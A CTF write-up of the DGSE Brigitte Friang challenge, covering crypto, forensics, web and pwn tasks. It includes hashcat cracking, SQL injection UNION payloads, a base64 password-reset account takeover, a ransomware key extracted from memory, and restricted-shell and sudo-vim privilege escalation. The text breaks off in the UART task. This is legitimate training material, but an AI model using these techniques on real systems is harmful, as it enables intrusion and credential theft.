Brigitte Friang challenge write-up

By BU Cyber

The Brigitte Friang challenge was the second challenge organized by the DGSE, after last year’s Richelieu challenge.

This time the challenge was comprised of two distinct parts. First a series of steps to solve to reach the CTF platform where the second part of the challenge took place.

Here is presented a detailed solution of every path to reach the platform, as well as every challenge in the second part of the competition.

Entry point for the CTF

Homepage

The starting point for the challenge was identical to the previous year: a simple URL, with no useful information as to where to go to find the actual challenges. 

However, Its source code hides a hint:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Challenge Brigitte Friang</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <meta http-equiv="X-UA-Compatible" content="ie=edge" />
        <link rel="stylesheet" href="/static/bootstrap/css/bootstrap.min.css">
        <link rel="stylesheet" href="/static/css/style.css">
        <!--/static/message-secret.html-->
    </head>
    <body>
        ...
    </body>
</html>

Hidden link

Once again, the HTML code gives a hint:

<!DOCTYPE html>
<html lang="fr" dir="ltr">
  <head>
    <meta charset="utf-8" />
    <title>Cesar</title>
  </head>
  ...
</html>

All combinations can be tried with the help of the Shell:

$ for i in $( seq 26 ); do \
    lynx --dump https://challengecybersec.fr/static/message-secret.html | caesar $i ; \
    echo "==== $i";
    read -n 1 -s -r ;
done

[...]

   Si vous parvenez a lire ce message, c'est que vous pouvez rejoindre
   l’operation «Brigitte Friang». Rejoignez-nous rapidement.

   Brigitte Friang est une resistante, journaliste et ecrivaine francaise.
   Elle est nee le 23/01/1924 a Paris, elle a 19 ans sous l'occupation
   lorsqu'elle est recrutee puis formee comme secretaire/chiffreuse par un
   agent du BCRA, Jean-Francois Clouet des Perruches alias Galilee chef du
   Bureau des operations aeriennes (BOA) de la Region M (Cote du Nord,
   Finistere, Indre et Loire, Orne, Sarthe, Loire inferieure, Maine et
   Loire, Morbihan, Vendee). Brigitte Friang utilise parfois des foulards
   pour cacher des codes. Completez l’URL avec l’information qui est
   cachee dans ce message.

   Suite a l’arrestation et la trahison de Pierre Manuel, Brigitte Friang
   est arretee par la Gestapo. Elle est blessee par balle en tentant de
   s’enfuir et est conduite a l’Hopital de la Pitie. Des resistants
   tenteront de la liberer mais sans succes. Elle est torturee et ne
   donnera pas d'informations. N’oubliez pas la barre oblique. Elle est
   ensuite envoyee dans le camp de Ravensbruck.

   Apres son retour de deportation, elle participe a la creation du
   Rassemblement du peuple français (RPF). Elle integre la petite equipe,
   autour d'Andre Malraux, qui va preparer le discours fondateur de
   Strasbourg en 1947 et les elections legislatives de 1951.

   Elle rentre a l'ORTF, et devient correspondante de guerre. Elle obtient
   son brevet de saut en parachute et accompagne des commandos de
   parachutistes en operation durant la guerre d’Indochine. Elle raconte
   son experience dans Les Fleurs du ciel (1955). D'autres agents sont sur
   le coup au moment ou je vous parle. Les meilleurs d'entre vous se
   donneront rendez-vous a l'European Cyberweek a Rennes pour une remise
   de prix. Resolvez le plus d'epreuves avant la fin de cette mission et
   tentez de gagner votre place parmi l'elite! Par la suite, elle couvre
   l’expedition de Suez, la guerre des Six Jours et la guerre du Viet Nam.
   Elle prend position en faveur d'une autonomie du journalisme dans le
   service public ce qui lui vaut d'etre licenciee de l'ORTF.

   Elle ecrit plusieurs livres et temoigne de l'engagement des femmes dans
   la Resistance.
==== 19

No extra clue in the text content itself, but its rendering shows some bold characters:

The next URL is then revealed by the command:

$ caesar 19 <<< joha
chat

Access tracks to the main CTF

Armand Richelieu introduces the team fighting the Evil Country:

  • Antoine Rossignol (Crypto Service);
  • Jérémy Nitel (Web Service);
  • Blaise Pascal (Algo Service);
  • Alphonse Bertillon (Forensic Service).

Each member provides a path to reach the main challenge.

The Cryptography Service

The files provided by Antoine Rossignol are:

  • a text file echange.txt;
  • an encrypted archive archive_chiffree;
  • an encrypted PDF layout.pdf;
  • a report from a specialist compte_rendu_eve.pdf.

Step 1: decrypting layout.pdf

The text file explains that the encrypted archive has been processed by a piece of hardware sent for analysis. The analysis is presented in the report.

The report suggests that a specific area of the chip probably contains a hardcoded key used for encrypting the archive. However the analysis could not determine the order of the bits nor the position of the MSB. A picture of the area is included in the password protected PDF.

To retrieve the key it is needed to first decrypt layout.pdf. There is no additional clue as to what the password could be, suggesting it needs to be bruteforced.

The hash of the password can be extracted using pdf2john from the John The Ripper toolchain.

./pdf2john.pl layout.pdf > hash

The extracted hash is:

$pdf$4*4*128*-4*1*16*6889d2c476016551d8b110c09aead2be*32*2f4d1d0b42be57f35b3f62f18ca0c43d00000000000000000000000000000000*32*2573d8bb30a39ec5e84b3891b5ac78d35876cc17ece0afa3fa17ef6f50919dfe

Note: the prefix with the PDF name has been removed to make the hash compatible with Hashcat.

The hash can be cracked with Hashcat by a simple dictionary attack using the famous rockyou dictionary.

./hashcat -a 0 -m 10500 hash rockyou.txt

The recovered password is resistance.

Step 2: finding the key

Once decrypted, layout.pdf shows an image of 16 rows of 16 fuses suggesting that each fuses corresponds to one bit of data. Some fuses have a gap in the middle showing they have been burnt.

A burnt fuse represents a 1 and a regular one represents a 0. The harvested bits are the following:

0100000101000101
0101001100100000
0011001000110101
0011011000100000
0100010101000011
0100001000100000
0010000000100000
0010000000100000
0010000000100000
0010000000100000
0010000000100000
0010000000100000
0010000000100000
0010000000100000
0010000000100000
0010000000100000

Splitting each row in two words of 1 byte and printing the ASCII characters yields the string AES 256 ECB. The decoding can be done automatically with the key_extraction.py script.

Note: looking at the fuses shows that there are 21 spaces after the string which can be tricky to notice as output of the key_extraction.py script.

Step 3: recovering the archive

The key suggests that the encryption algorithm used is AES 256 in ECB mode. Using the Pycrypto library it is possible to decrypt the encrypted archive archive_chiffree. The code for this step can be found in decrypt_archive.py.

The outputted file is a zip archive.

$ file plain_archive
plain_archive: Zip archive data, at least v2.0 to extract

Using unzip the content of the archive is extracted.

The content of the archive is:

.
├── archive
│   ├── code_acces.pdf
│   └── message.pdf
└── __MACOSX
└── archive
3 directories, 2 files

Note: the __MACOSX folder suggests the archive was created on a Mac and is unnecessary to complete the rest of the challenge.

Step 4: decrypting code_acces.pdf

The file code_acces.pdf is password protected and message.pdf contains a hint to find the password.

This system can be solved with brute force instantly and yields x=5622.

Note: the code to brute force this system can be found in brute_force_system.py.

Step 5: finding the flag

The file code_acces.pdf holds a clue for the flag. The flag has been encrypted so that every character has been replaced by its multiplicative inverse in the Galois Field.

The encrypted flag is 0xAF3A5E20A63AD0.

The website wims.univ-cotedazur.fr hosts a Galois field calculator that can perform this kind of computing.

The Galois field can be defined as follows:

Each character represents a polynomial of the field. The coefficients of the polynomial can be found as follows:

  • convert the value of the character in binary, for example bin(0xAF) = '0b10101111' ;
  • the values of the bits correspond to the values of the coefficients and the index of the bits correspond to the exponent of the variable. 10101111 corresponds to:

  • the polynomial can then be reversed in the field using the online calculator (the result of all computations are given below). The example yields:

  • the polynomial can be converted to binary using the same method as in step 2. The resulting value is the number for the ASCII character of the flag. The example is encoded as 0b01100010 = 0x62 which corresponds to b.

The complete calculations of polynomials for the flag:

The resulting flag is b a:e z. Sending the flag to Antoine Rossignol on the platform returns the URL of the CTF.

The Forensic tests

Intrusion detection

A forbidden access to a system seems to have been detected:

One way to analyze the Nginx logs is to scan POST requests at first:

$ < access.log grep POST
[...]
145.229.250.226 - - [Nov 05 2020 16:13:19] "POST /login HTTP/1.1" 200 397 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20"
179.97.58.61 - - [Nov 05 2020 16:22:20] "POST /login HTTP/1.1" 200 476 "-" "Evil Browser"
135.133.14.41 - - [Nov 05 2020 16:42:32] "POST /login HTTP/1.1" 200 183 "-" "Mozilla/5.0 (Android; Linux armv7l; rv:5.0) Gecko/20110615 Firefox/5.0 Fennec/5.0"
[...]

Malware?

Providing the attacker IP gives access to an image:

Its size is quite surprising:

$ ls -lh evil_country_landscape.jpg 
-rw-r--r-- 1 test test 303M 12 nov.  20:19 evil_country_landscape.jpg

Interesting content can be extracted thanks to binwalk:

$ binwalk -e evil_country_landscape.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
79798         0x137B6         Zip archive data, at least v2.0 to extract, uncompressed size: 173015040, name: part2.img
4775856       0x48DFB0        Zlib compressed data, best compression
34737670      0x2120E06       MySQL MISAM compressed data file Version 1
56164092      0x358FEFC       IMG0 (VxWorks) header, size: 257308484
128298187     0x7A5ACCB       Cisco IOS microcode, for "w%"
158637081     0x9749C19       Zip archive data, at least v2.0 to extract, uncompressed size: 173015040, name: part3.img
239002530     0xE3EE3A2       Zlib compressed data, best compression
317286906     0x12E969FA      End of Zip archive, footer length: 22

$ file _evil_country_landscape.jpg.extracted/part*
_evil_country_landscape.jpg.extracted/part2.img: Linux Software RAID version 1.2 (1) UUID=dfaa645a:19afec72:60f1fa33:30d841da name=user-XPS-15-9570:6 level=5 disks=3
_evil_country_landscape.jpg.extracted/part3.img: Linux Software RAID version 1.2 (1) UUID=dfaa645a:19afec72:60f1fa33:30d841da name=user-XPS-15-9570:6 level=5 disks=3

Creating loop devices should activate some automatic support:

# losetup -f _evil_country_landscape.jpg.extracted/part2.img 
# losetup -f _evil_country_landscape.jpg.extracted/part3.img

# dmesg
[...]
[1504745.009200] md/raid:md127: device loop2 operational as raid disk 2
[1504745.009202] md/raid:md127: device loop1 operational as raid disk 1
[1504745.009617] md/raid:md127: raid level 5 active with 2 out of 3 devices, algorithm 2
[1504745.009640] md127: detected capacity change from 0 to 341835776

The new disk can then get explored:

# mkdir /tmp/raid
# mount /dev/md127 /tmp/raid/

# ls -lh /tmp/raid/
total 292M
-rw-r--r-- 1 root root 291M  6 oct.  11:35 dump.zip
drwx------ 2 root root  16K  6 oct.  11:31 lost+found

# unzip -l /tmp/raid/dump.zip 
Archive:  /tmp/raid/dump.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
1073741824  2020-10-05 13:13   dump.vmem
       64  2020-10-05 13:50   dump.vmem.sha256
---------                     -------
1073741888                     2 files

Once the ZIP content is extracted, the RAID disk can be stopped with the following commands:

# umount /tmp/raid/
# mdadm -S /dev/md127 
mdadm: stopped /dev/md127
# losetup -D

Memory dump

The new files are memory dumps suitable for Volatility:

$ volatility -f dump.vmem imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/XXX/dump.vmem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002c4c0a0L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002c4dd00L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2020-10-05 11:17:37 UTC+0000
     Image local date and time : 2020-10-05 13:17:37 +0200

A preview of the current rendering can be captured:

$ mkdir screenshot
$ volatility -f dump.vmem --profile Win7SP1x64 screenshot --dump-dir screenshot
Volatility Foundation Volatility Framework 2.6
Wrote screenshot/session_0.msswindowstation.mssrestricteddesk.png
Wrote screenshot/session_0.Service-0x0-3e7$.Default.png
Wrote screenshot/session_0.Service-0x0-3e4$.Default.png
Wrote screenshot/session_0.Service-0x0-3e5$.Default.png
Wrote screenshot/session_1.WinSta0.Default.png
Wrote screenshot/session_1.WinSta0.Disconnect.png
Wrote screenshot/session_1.WinSta0.Winlogon.png
Wrote screenshot/session_0.WinSta0.Default.png
Wrote screenshot/session_0.WinSta0.Disconnect.png
Wrote screenshot/session_0.WinSta0.Winlogon.png

The running process list can also be explored:

$ volatility -f dump.vmem --profile Win7SP1x64 pslist
Volatility Foundation Volatility Framework 2.6
Offset(V)          Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit                          
------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0xfffffa8000cc5b30 System                    4      0     87      393 ------      0 2020-10-05 11:13:41 UTC+0000                                 
0xfffffa800bad5480 smss.exe                264      4      2       29 ------      0 2020-10-05 11:13:41 UTC+0000                                 
0xfffffa8002810060 csrss.exe               352    336      8      517      0      0 2020-10-05 11:13:42 UTC+0000                                 
0xfffffa8002816060 wininit.exe             404    336      3       74      0      0 2020-10-05 11:13:42 UTC+0000                                 
0xfffffa80111d32e0 csrss.exe               412    396      9      209      1      0 2020-10-05 11:13:42 UTC+0000                                 
0xfffffa80029c2910 winlogon.exe            460    396      4      110      1      0 2020-10-05 11:13:42 UTC+0000                                 
0xfffffa80029f76d0 services.exe            504    404      8      220      0      0 2020-10-05 11:13:42 UTC+0000                                 
0xfffffa8002a007c0 lsass.exe               512    404      7      565      0      0 2020-10-05 11:13:42 UTC+0000                                 
0xfffffa8002a0db30 lsm.exe                 520    404     10      145      0      0 2020-10-05 11:13:42 UTC+0000                                 
0xfffffa8002a0fb30 svchost.exe             644    504     10      353      0      0 2020-10-05 11:13:43 UTC+0000                                 
0xfffffa8002affb30 svchost.exe             708    504      6      276      0      0 2020-10-05 11:13:43 UTC+0000                                 
0xfffffa8002b1f4a0 svchost.exe             760    504     23      514      0      0 2020-10-05 11:13:43 UTC+0000                                 
0xfffffa8002b28b30 svchost.exe             880    504     16      320      0      0 2020-10-05 11:13:43 UTC+0000                                 
0xfffffa8002b8ab30 svchost.exe             920    504     48      979      0      0 2020-10-05 11:13:43 UTC+0000                                 
0xfffffa8002bb4b30 audiodg.exe             980    760      7      128      0      0 2020-10-05 11:13:44 UTC+0000                                 
0xfffffa8002bd4060 svchost.exe             244    504     26      720      0      0 2020-10-05 11:13:44 UTC+0000                                 
0xfffffa8002bf8060 svchost.exe             304    504     20      391      0      0 2020-10-05 11:13:44 UTC+0000                                 
0xfffffa8002c6b500 dwm.exe                1072    880      6      124      1      0 2020-10-05 11:13:44 UTC+0000                                 
0xfffffa8002c6fb30 explorer.exe           1084   1064     32      828      1      0 2020-10-05 11:13:44 UTC+0000                                 
0xfffffa8002cc6310 spoolsv.exe            1156    504     15      270      0      0 2020-10-05 11:13:44 UTC+0000                                 
0xfffffa8002d11a60 taskhost.exe           1216    504     10      204      1      0 2020-10-05 11:13:44 UTC+0000                                 
0xfffffa8002d234f0 vm3dservice.ex         1240   1084      3       39      1      0 2020-10-05 11:13:44 UTC+0000                                 
0xfffffa8002d27b30 vmtoolsd.exe           1248   1084      8      166      1      0 2020-10-05 11:13:44 UTC+0000                                 
0xfffffa8002d2ab30 svchost.exe            1304    504     20      325      0      0 2020-10-05 11:13:45 UTC+0000                                 
0xfffffa8002b6e430 VGAuthService.         1560    504      4       84      0      0 2020-10-05 11:13:46 UTC+0000                                 
0xfffffa8002b6f2c0 vmtoolsd.exe           1584    504     12      292      0      0 2020-10-05 11:13:46 UTC+0000                                 
0xfffffa8001e6ab30 dllhost.exe            1832    504     20      186      0      0 2020-10-05 11:13:47 UTC+0000                                 
0xfffffa8002f1f060 WmiPrvSE.exe           1892    644     10      193      0      0 2020-10-05 11:13:47 UTC+0000                                 
0xfffffa8002ef2b30 dllhost.exe            2008    504     17      195      0      0 2020-10-05 11:13:48 UTC+0000                                 
0xfffffa8002fc9560 msdtc.exe               872    504     15      155      0      0 2020-10-05 11:13:49 UTC+0000                                 
0xfffffa8003021690 VSSVC.exe              2076    504      6      109      0      0 2020-10-05 11:13:49 UTC+0000                                 
0xfffffa8002c4bb30 SearchIndexer.         2156    504     12      557      0      0 2020-10-05 11:13:50 UTC+0000                                 
0xfffffa8002fd4b30 wmpnetwk.exe           2296    504     11      213      0      0 2020-10-05 11:13:50 UTC+0000                                 
0xfffffa80030d4770 svchost.exe            2372    504     23      258      0      0 2020-10-05 11:13:51 UTC+0000                                 
0xfffffa80030e4750 SearchProtocol         2400   2156      7      273      0      0 2020-10-05 11:13:51 UTC+0000                                 
0xfffffa80030e7b30 SearchFilterHo         2420   2156      4       86      0      0 2020-10-05 11:13:51 UTC+0000                                 
0xfffffa8001ca9060 WmiPrvSE.exe           3032    644     15      330      0      0 2020-10-05 11:14:07 UTC+0000                                 
0xfffffa80031d5790 sppsvc.exe             2844    504      6      156      0      0 2020-10-05 11:16:54 UTC+0000                                 
0xfffffa801bbf6b30 svchost.exe            2276    504     12      327      0      0 2020-10-05 11:16:54 UTC+0000                                 
0xfffffa8000e91b30 drpbx.exe              2304   2916      8      149      1      0 2020-10-05 11:17:01 UTC+0000                                 
0xfffffa8000e78920 taskhost.exe           2464    504      6       88      1      0 2020-10-05 11:17:08 UTC+0000                                 
0xfffffa800107c6a0 WmiApSrv.exe           2632    504      7      119      0      0 2020-10-05 11:17:18 UTC+0000                                 
0xfffffa8001072060 notepad.exe            1880   1084      1       62      1      0 2020-10-05 11:17:36 UTC+0000                                 
0xfffffa800117db30 cmd.exe                1744   1584      0 --------      0      0 2020-10-05 11:17:37 UTC+0000   2020-10-05 11:17:37 UTC+0000  
0xfffffa8002161630 conhost.exe            2928    352      0 --------      0      0 2020-10-05 11:17:37 UTC+0000   2020-10-05 11:17:37 UTC+0000  
0xfffffa8001116060 ipconfig.exe           2832   1744      0 --------      0      0 2020-10-05 11:17:37 UTC+0000   2020-10-05 11:17:37 UTC+0000

So do the command lines used to launch the programs:

$ volatility -f dump.vmem --profile Win7SP1x64 cmdline
Volatility Foundation Volatility Framework 2.6
[...]
************************************************************************
drpbx.exe pid:   2304
Command line : "C:\Users\user\AppData\Local\Drpbx\drpbx.exe" C:\Users\user\Documents\Firefox_installer.exe
************************************************************************
[...]

The suspicious process with pid 2304 can be extracted:

$ mkdir drpbx

$ volatility -f dump.vmem --profile Win7SP1x64 procdump -p 2304 --dump-dir drpbx
Volatility Foundation Volatility Framework 2.6
Process(V)         ImageBase          Name                 Result
------------------ ------------------ -------------------- ------
0xfffffa8000e91b30 0x0000000000870000 drpbx.exe            OK: executable.2304.exe

$ file drpbx/executable.2304.exe 
drpbx/executable.2304.exe: PE32+ executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Reverse engineering

The source code of the executable can be retrieved by using ILSpy.

The buttonCheckPayment_Click() function inside FormGame.cs file provides some hints about encrypted .evil files:

double price = Blockr.GetPrice();
int num = (int)(Blockr.GetBalanceBtc(GetBitcoinAddess()) * price);
if (num > Config.RansomUsd)
{
        timerCountDown.Stop();
        buttonCheckPayment.Enabled = false;
        buttonCheckPayment.BackColor = Color.Lime;
        buttonCheckPayment.Text = "Arg, vous nous avez eu...";
        MessageBox.Show(this, "Déchiffrement de vos fichiers. It will take for a while. After done I will close and completely remove myself from your computer.", "Great job");
        Locker.DecryptFiles(".evil");
        Hacking.RemoveItself();
}

The Locker.cs file contains the EncryptFile() and DecryptFile() functions with all the cryptographic parameters:

  • key is decoded from the base64 encoded RXZpbERlZmF1bHRQYXNzIQ== string;
  • IV is composed of values 0, 1, 0, 3, 5, 3, 0, 1, 0, 0, 2, 0, 6, 7, 6, 0;
  • the online documentation states the mode is CBC with PKCS7 padding by default.

The drpb-unlocker.py Python script can then be used to decrypt encrypted files:

$ volatility -f dump.vmem --profile Win7SP1x64 filescan | grep evil
Volatility Foundation Volatility Framework 2.6
0x000000001715ed50     16      0 R--r-- \Device\HarddiskVolume1\Users\user\Documents\informations_attaque.txt.evil
0x000000003fa3ebc0      2      0 RW-r-- \Device\HarddiskVolume1\ProgramData\Microsoft\RAC\PublishedData\RacWmiDatabase.sdf.evil
0x000000003fac8d10     32      0 RW-r-- \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\WER\ReportQueue\NonCritical_Firefox_installe_d514681bfc376345742b2157ace1e72c17fd991_cab_0938b7ba\appcompat.txt.evil
0x000000003fad8620     16      0 RW-r-- \Device\HarddiskVolume1\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000002.db.evil

$ mkdir crypted

$ for q in 0x000000001715ed50 0x000000003fa3ebc0 0x000000003fac8d10 0x000000003fad8620; do \
  volatility -f dump.vmem --profile Win7SP1x64 dumpfiles -D crypted -Q $q ; \
done

$ find crypted/ -type f -not -name '*.orig' -exec python3 ./drpb-unlocker.py {} \;

One of the resulting files seems interesting:

< crypted/file.None.0xfffffa800e9fec60.dat.orig head -10
Ce message est destin� � toute force alli�e en mesure de nous venir en aide, nous la r�sistance d'Evil Country. Hier, nous sommes parvenus � mettre la main sur un dossier confidentiel �manant des services secrets d'Evil Gouv.

Ces documents font mention d'une op�ration d'an�antissement de la r�sistance � l'aide d'un puissant agent innervant, le VX. L'attaque est pr�vue dans 4 jours � 4h40 au sein du fief de la r�sistance. 

Nous savons de source sure qu'un convoi permettant la synth�se du VX partira de l'entrepot Stockos de Bad Country vers le fief de la r�sistance d'ici quelques jours. Il faut intercepter ce convoi !

�F��f�Jev�nous � cette adresse : http://ctf.challengecybersec.fr/7a144cdc500b28e80cf760d60aca2ed3sz�Zn|3����

The content still have to be truncated and the file can be translated to UTF-8 with:

$ iconv -c -f ISO-8859-15 -t UTF-8 final.txt

The Web path

When we chose the “Service Web” route, Jérémy Nitel told us that Stockos, a web platform used to manage an Evil Country based warehouse, had been breached and passwords were leaked.

He also gave us a link to Stockos: https://www.challengecybersec.fr/4e9033c6eacf38dc2a5df7a14526bec1/

Logging in to Stockos

Jérémy told us that those leaked passwords were not original. With the username admin and password admin, we logged into the site easily.

The home page was a dashboard with storage info but there was nothing interesting here for us to exploit.

Finding our way through

The second tab, which was titled “Gestion des stocks”, contained a table with different products and other info.

We could also notice a search box that allowed us to search for a specific object in the warehouse.

Using this search box, we could try to make our way through the database, using SQL Injection. Since there were 5 columns, we tried this injection first:

' UNION select 1, 2, 3, 4, 5 #

At the end of the table, after clicking on the search button, we got the values 1, 2, 3, 4, 5 in each columns, so we knew that we were on the right path.

These are the other injections that we tried :

  • Getting a list of every table in the database
' UNION select table_name, NULL, NULL, NULL, NULL from information_schema.tables #

    Result: customer, orders, section, supplier (we removed default tables)

  • Getting a list of every column in a table
' UNION select table_name,column_name,NULL,NULL,NULL from information_schema.columns where table_name=[table_name] #

    By doing so, we found that :

  • There is a supplier (ID 1) called EvilChems which seems odd;
  • There is also a customer (ID 12) called EvilGouv;
  • Its email address is agent.malice@secret.evil.gov.ev.

AirEvil

In his messages, Jérémy Nitel also gave us a link to the site of AirEvil. We needed to find a way to get a plane ticket from Bad City to Evil City.

AirEvil homepage

Trying to get a plane ticket directly when we land on the home page only told us to login in order to book a flight. Here is what the login page looked like:

By making a dummy account with a temporary email address, we  noticed on the profile page that our account is not authorized to book flights to Evil Country.

This meant that the only way to book a flight to Evil Country was to get an authorized account. Luckily, we already had an email address that would be linked to an authorized account: agent.malice@secret.evil.gov.ev

When trying to reset the password for our dummy account, we received an email that contains a link to the reset page. What the link actually contains (d2lqYWYxMjM1N0BwYXRtdWkuY29t) is our email address encoded to base64. When we open the link, this was what we get:

They gave us our password in clear text! 

agent.malice@secret.evil.gov.ev encoded to base64 is: YWdlbnQubWFsaWNlQHNlY3JldC5ldmlsLmdvdi5ldg==. By using the same reset link with the encoded version of the email address, this was the result:

With this, we knew that the credentials for the authorised account were agent.malice@secret.evil.gov.ev with password Superlongpassword666.

We logged in with those values and in the tab “Mes reservations”, we found one plane ticket from Bad City to Evil City, associated with a QR Code.

The value of the QR Code was DGSESIEE{2cd992f9b2319860ce3a35db6673a9b8}.

We sent this flag to Jérémy Nitel. In response, he transferred us a file called “capture.pcap” that we had to analyze in order to get the next flag.

Encrypted communications

When analyzing the PCAP file, we can see that the traffic is TLS/SSL encrypted, and only between two local IPs.

We are able to extract the certificate and public key of the exchange from the handshake messages.

When looking at the detailed parameters of the key, we can see that its modulus is not big enough to be considered even remotely secured.

We are able to retrieve its prime factors through tools like factordb.com. With p and q available, we are able to craft a private key.

We then have to load this key up in Wireshark to be able to decrypt all the traffic.

We realize that it was HTTP traffic and we can find the link to the web platform for the second part of the challenge.

The main CTF

Alone Muks (Pwn, 100 points)

The context of the mission is:

 Lors de votre récent séjour à Evil Country, vous êtes parvenu à brancher un dispositif sur le camion effectuant la livraison. Il faut maintenant trouver une faille sur le système pour pouvoir prendre le contrôle du camion autonome de la marque Lates et le rediriger vers un point d'extraction. Un agent a posé un dispositif nous permettant d'accéder au système de divertissement du véhicule. A partir de ce dernier, remontez jusqu'au système de navigation.
Connectez-vous en SSH au camion

Identifiants: user:user

Le serveur est réinitialisé périodiquement

Port : 5004

Le flag est de la forme DGSESIEE{hash} 

This was the sole challenge in the pwn category. We start up by connecting via ssh to the given user account on the server.

$ ssh user@challengecybersec.fr -p 5004
user@challengecybersec.fr's password: 

=============================================================
                 LATES Motors Inc                            
        LATES Mortors Entertainment System v6.2              
             Please enter your credentials                   

=============================================================

Username:

Bypassing authentication

We end up in a prompt asking us for a username/password combination. After a few unsuccessful tries at triggering a buffer overflow, a format string or even trying common combinations like admin/admin, we realized that we could escape it simply by pressing Ctrl+D.

Username: Traceback (most recent call last):
  File "/home/user/login.py", line 12, in <module>
    user = raw_input("Username: ")    
EOFError
user@b43e27468d7b:~$

Escaping a Shell jail

The Shell appears to have limited capabilities, as it is a restricted bash.

However, since python is available, we can launch an unrestricted shell through the os builtin module.

We find out that the flag is located inside the home directory of the navigationSystem user, and that there is another user called globalSystem.

The flag is only readable by navigationSystem so we’ll have to reach this level of privileges.

user@b43e27468d7b:~$ ls     
-rbash: ls: command not found
user@b43e27468d7b:~$ /bin/ls
-rbash: /bin/ls: restricted: cannot specify `/' in command names
user@b43e27468d7b:~$ python -c "import os; os.system('/bin/sh')"
$ ls
/bin/sh: 1: ls: not found
$ /bin/ls
bin  login.py
$ /bin/ls ../
globalSystem  navigationSystem	user
$ /bin/ls ../navigationSystem
flag.txt
$ /bin/ls ../navigationSystem -la
total 24
drwxr-xr-x 2 root             root             4096 Nov  1 10:52 .
drwxr-xr-x 1 root             root             4096 Nov  1 10:52 ..
-r--r--r-- 1 navigationSystem navigationSystem  220 Apr 18  2019 .bash_logout
-r-------- 1 navigationSystem navigationSystem 3533 Nov  1 10:52 .bashrc
-r--r--r-- 1 navigationSystem navigationSystem  807 Apr 18  2019 .profile
-r-------- 1 navigationSystem navigationSystem   43 Nov  1 10:52 flag.txt

sudo magic

We can use the -l option of sudo to check which commands we are able to run as another user.

$ /usr/bin/sudo -l
Matching Defaults entries for user on b43e27468d7b:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_PRELOAD

User user may run the following commands on b43e27468d7b:
    (globalSystem) NOPASSWD: /usr/bin/vim

We can run vim as globalSystem, and since vim has a way to run commands from its control prompt, this means we can run any command as globalSystem.

$ /usr/bin/sudo -u globalSystem vim :! /bin/sh $ id uid=1001(globalSystem) gid=1001(globalSystem) groups=1001(globalSystem)

Now on to the second round. We do the exact same thing to see if sudo allows us to run some commands as navigationSystem.

$ sudo -l
Matching Defaults entries for globalSystem on b43e27468d7b:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_PRELOAD

User globalSystem may run the following commands on b43e27468d7b:
    (navigationSystem) NOPASSWD: /usr/bin/update

We have the ability to run the update binary as our target user, but since it’s not a standard Linux utility we’ll have to dig a little bit deeper.

$ sudo -u navigationSystem /usr/bin/update
usage : /usr/bin/update password
$ sudo -u navigationSystem /usr/bin/update aaa
Wrong password

We decided that the simplest solution would be to download the binary to analyze it locally. Just a run through ltrace gives us the expected password:

$ ltrace ./update aaa
[...]
strcmp("AloneIsTheBest", "aaa")   = -32
puts("Wrong password"Wrong password

We can then use this password to run the binary on the server, which drops us in a prompt with the correct permissions to read the flag.

$ sudo -u navigationSystem /usr/bin/update AloneIsTheBest
[...]
navigationSystem@b43e27468d7b:/home/user$ cat ../navigationSystem/flag.txt 
DGSESIEE{44adfb64ff382f6433eeb03ed829afe0}

ASCII UART (Hardware, 100 points)

The description of the mission is:

Un informateur a intercepté un message binaire transmis sur un câble. Il a rapidement enregistré via la carte son d'un PC les données en 8 bits signés (ascii_uart.raw). Dans la précipitation, il a oublié de noter la fréquence d'échantillonnage. Retrouvez le message.

Le flag est de la forme DGSESIEE{X} avec X le message

ascii_uart.raw (SHA256=0421ace2bbacbb5a812868b0dbb38a23533cda67bf7f00b1031fdbd7a228c8a5) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/ascii_uart.raw 

UART is an implementation of the RS232 standard.

The relative voltage levels are:

  • +3 to +15 V for a bit 0;
  • −15 to −3 V for a bit 1.

Plenty of web sites describe how RS232 works:

Data is transmitted using:

  • a start bit, always 0;
  • 7 or 8 bits of data;
  • 1 or 2 parity bits: here, the quantity of bits set to 1 in the data and the parity areas has to be even;
  • a stop bit, always 1.

The frequency of each byte value inside the ascii_uart.raw file can be computed using the uart-study.pl Perl script;

$ perl ./uart-study.pl < ascii_uart.raw | grep -v ' : 0'
120 : 55908
121 : 55991
122 : 55830
123 : 55507
124 : 55778
125 : 55554
126 : 55871
127 : 55676
128 : 37107
129 : 37033
130 : 37068
131 : 36942
132 : 37116
133 : 36900
134 : 36869
135 : 36981

As a reminder, conversion between signed and unsigned byte is showed by the sign.c helper:

$ ./sign 
signed 118 -> unsigned 118
signed 119 -> unsigned 119
signed 120 -> unsigned 120
signed 121 -> unsigned 121
signed 122 -> unsigned 122
signed 123 -> unsigned 123
signed 124 -> unsigned 124
signed 125 -> unsigned 125
signed 126 -> unsigned 126
signed 127 -> unsigned 127
signed -128 -> unsigned 128
signed -127 -> unsigned 129
